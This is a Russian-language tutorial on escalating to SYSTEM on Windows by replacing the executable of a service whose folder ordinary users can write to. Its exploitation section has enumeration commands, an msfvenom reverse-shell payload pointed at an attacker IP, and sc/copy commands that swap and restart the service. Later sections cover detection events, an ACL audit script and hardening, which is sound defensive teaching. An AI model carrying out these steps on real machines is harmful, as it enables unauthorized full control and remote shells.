«Повышение прав через службы Windows — классический приём, но путь через перезапись исполняемого файла часто остаётся в тени. Всё внимание уходит на проверку прав в реестре или на использование уязвимых библиотек, в то время как открытая на запись папка со службой может дать мгновенный доступ от имени SYSTEM.»
Как работает вектор атаки через замену исполняемого файла службы
Служба Windows, настроенная на запуск от имени LocalSystem, исполняет код из файла, путь к которому прописан в её конфигурации. Система слепо доверяет этому пути и не проверяет цифровую подпись или целостность файла перед каждым запуском. Уязвимость возникает, когда папка, содержащая этот исполняемый файл, имеет разрешения NTFS, позволяющие обычному пользователю изменять её содержимое.
Если у пользователя есть права Write или Modify на каталог, он может заменить легитимный .exe-файл на свой вредоносный код. После следующего перезапуска службы (который можно инициировать самостоятельно) этот код будет выполнен с полными правами SYSTEM. Это пример уязвимости, вызванной исключительно ошибкой конфигурации, а не багом в программном коде.
.
Пошаговая эксплуатация уязвимости
1. Поиск целевой службы
Первым делом нужно найти службы, путь к исполняемому файлу которых указывает на каталог с избыточными правами. Автоматизировать поиск помогают скрипты вроде модуля Get-ModifiableServiceFile для PowerSploit, но понимание ручного процесса важно.
sc qc VulnServiceName | findstr BINARY_PATH_NAME
icacls "C:PathToServiceDirectory"
Пробную запись в каталог можно проверить простой командой:
echo test > "C:PathToServiceDirectorytest.tmp" && del "C:PathToServiceDirectorytest.tmp"
Ключевые признаки уязвимости:
- В выводе icacls для группы «Пользователи» (BUILTINUsers) указаны права Modify (M), Write (W) или Full control (F).
- Служба установлена в нетипичные или общедоступные каталоги (например, в корень диска C:, в общие папки Users или во временные директории).
- Речь идёт о малоизвестных службах сторонних приложений, права для которых часто настраиваются небрежно.
2. Подготовка полезной нагрузки
Для замены потребуется исполняемый файл, который предоставит контроль над системой. Это может быть простейший бинарник, открывающий оболочку cmd.exe, или полноценная полезная нагрузка для обратного подключения.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ВАШ_IP LPORT=4444 -f exe -o malicious.exe
В реальных условиях размер и поведение файла могут привлечь внимание. Иногда достаточно скопировать утилиту, уже присутствующую в системе (например, C:WindowsSystem32cmd.exe), но с изменённым именем.
3. Замена файла и активация
Перед заменой службу лучше остановить, чтобы избежать конфликтов заблокированного файла. После копирования вредоносного бинарника под именем оригинальной службы её необходимо запустить.
sc stop VulnServiceName
copy /Y malicious.exe "C:PathToServiceOriginalService.exe"
sc start VulnServiceName
Если у пользователя нет прав на остановку службы, можно дождаться перезагрузки системы или найти способ принудительного завершения её процесса.
Оценка рисков и индикаторы компрометации
| Фактор обнаружения | Описание | Вероятность срабатывания |
|---|---|---|
| Изменение контрольной суммы файла | Сравнение хешей (SHA256, MD5) исполняемых файлов служб с эталонными значениями. | Высокая, при условии наличия актуальной базы эталонных хешей. |
| Событие аудита 4688 | В журналах Windows фиксируется запуск нового процесса из services.exe. Можно отслеживать запуск неподписанных или неизвестных бинарников. | Средняя. Требует включённой расширенной политики аудита процессов. |
| Событие аудита 4663 | Попытка записи в защищаемый объект (файл) неуполномоченной учётной записью. | Низкая. Детальный аудит доступа к файлам редко включается из-за нагрузки на систему. |
| Аномальный сетевой трафик | Исходящие соединения, инициированные системным процессом (services.exe или дочерним) на нестандартные порты или внешние адреса. | Высокая, при наличии средств сетевого мониторинга (SIEM, NGFW). |
Меры защиты и корректная настройка
Регулярный аудит конфигурации
Необходимо периодически проверять права NTFS на каталоги всех установленных служб. Простой PowerShell-скрипт может автоматизировать эту задачу:
Get-CimInstance Win32_Service | ForEach-Object {
$Path = ($_.PathName -split ' ')[0] -replace '"', ''
if (Test-Path $Path) {
$ACL = Get-Acl -Path $Path
$ACL.Access | Where-Object {
$_.IdentityReference -match 'Users|Everyone|Authenticated Users' -and
$_.FileSystemRights -match 'Write|Modify|FullControl'
} | Select-Object @{Name='Service';Expression={$_.Name}}, @{Name='Path';Expression={$Path}}
}
}
Корректировка прав доступа
Для каждой службы права должны быть минимально необходимыми. Группе «Пользователи» (Users) на каталог с исполняемым файлом обычно достаточно права на чтение и выполнение (Read & Execute). Права на запись должны быть только у системных учётных записей (SYSTEM, Administrators) и, возможно, у учётной записи самой службы, если она настроена.
icacls "C:Program FilesYourApp" /remove "BUILTINUsers"
icacls "C:Program FilesYourAppservice.exe" /grant "BUILTINUsers:(RX)"
icacls "C:Program FilesYourApp" /grant "SYSTEM:(F)" /grant "Administrators:(F)"
Важный нюанс: проверять нужно не только файл службы, но и все родительские каталоги вплоть до корня диска. Наличие прав Delete в родительской папке может позволить удалить оригинальный файл и создать новый, даже если прямой доступ к файлу запрещён.
Дополнительные меры контроля целостности
- Включение и контроль функции Mandatory Integrity Control (MIC) и списков управления целостностью.
- Использование функций контроля приложений, таких как AppLocker или Windows Defender Application Control (WDAC), для разрешения запуска только подписанных и доверенных исполняемых файлов.
- Регулярный сбор и анализ хешей системных файлов средствами вроде OSSEC, Wazuh или встроенных средств аудита.
Этот вектор эскалации привилегий напоминает о фундаментальном принципе: безопасность процесса определяется не только учётной записью, от которой он запущен, но и целостностью всей цепочки его загрузки. Права доступа к файловой системе — это не техническая мелочь, а одна из ключевых линий обороны, разделяющих уровни привилегий в системе.
Проверка прав на каталоги служб должна стать рутинной частью аудита безопасности любой инфраструктуры под управлением Windows.